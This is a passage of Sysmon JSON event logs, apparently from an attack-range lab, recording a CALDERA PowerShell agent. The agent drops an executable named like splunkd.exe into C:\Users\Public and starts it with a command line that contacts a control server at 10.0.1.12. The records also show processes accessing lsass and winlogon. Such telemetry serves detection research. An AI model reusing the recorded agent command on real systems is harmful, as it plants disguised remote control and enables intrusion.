ly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:49:46.984\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nProcessId: 2184\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Public\\splunkd.exe\r\nCreationUtcTime: 2020-08-07 11:48:42.798","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:49:46.984","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Public\\splunkd.exe","CreationUtcTime":"2020-08-07 11:48:42.798","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.103\r\nProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nProcessId: 2940\r\nImage: C:\\Users\\Public\\splunkd.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=32E2535A13E90442893737530C4773D1,SHA256=C4A32E14644C0859C895A66C96AECC9647949F8295EADE40ACE7F3EFC597C6F9,IMPHASH=1CD364A9E949D5ECEBD6C614E64BC545\r\nParentProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nParentProcessId: 2184\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\\caldera_manx_agent.ps1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.103","ProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","Image":"C:\\Users\\Public\\splunkd.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=32E2535A13E90442893737530C4773D1,SHA256=C4A32E14644C0859C895A66C96AECC9647949F8295EADE40ACE7F3EFC597C6F9,IMPHASH=1CD364A9E949D5ECEBD6C614E64BC545","ParentProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","ParentProcessId":"2184","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\\caldera_manx_agent.ps1","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: Shell.Commands.ManagWindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\windows.storage.dll+164bbf|C:\\Windows\\System32\\windows.storage.dll+164835|C:\\Windows\\System32\\windows.storage.dll+164326|C:\\Windows\\System32\\windows.storage.dll+165798|C:\\Windows\\System32\\windows.storage.dll+16414e|C:\\Windows\\System32\\windows.storage.dll+10cfd5|C:\\Windows\\System32\\windows.storage.dll+10d354|C:\\Windows\\System32\\windows.storage.dll+10c990|C:\\Windows\\System32\\shell32.dll+e8b0f|C:\\Windows\\System32\\shell32.dll+e899c|C:\\Windows\\System32\\shell32.dll+e86ec|C:\\Windows\\System32\\shell32.dll+31537|C:\\Windows\\System32\\shell32.dll+31495|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+33903a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+276811|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+acd808|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+271e5f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"Shell.Commands.ManagWindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\windows.storage.dll+164bbf|C:\\Windows\\System32\\windows.storage.dll+164835|C:\\Windows\\System32\\windows.storage.dll+164326|C:\\Windows\\System32\\windows.storage.dll+165798|C:\\Windows\\System32\\windows.storage.dll+16414e|C:\\Windows\\System32\\windows.storage.dll+10cfd5|C:\\Windows\\System32\\windows.storage.dll+10d354|C:\\Windows\\System32\\windows.storage.dll+10c990|C:\\Windows\\System32\\shell32.dll+e8b0f|C:\\Windows\\System32\\shell32.dll+e899c|C:\\Windows\\System32\\shell32.dll+e86ec|C:\\Windows\\System32\\shell32.dll+31537|C:\\Windows\\System32\\shell32.dll+31495|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+33903a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+276811|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+acd808|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+271e5f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00107FF90100}\r\nTargetProcessId: 2948\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","TargetProcessId":"2948","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FDB-5F2D-0000-00107FF90100}\r\nSourceProcessId: 2948\r\nSourceThreadId: 2968\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","SourceProcessId":"2948","SourceThreadId":"2968","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.000\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 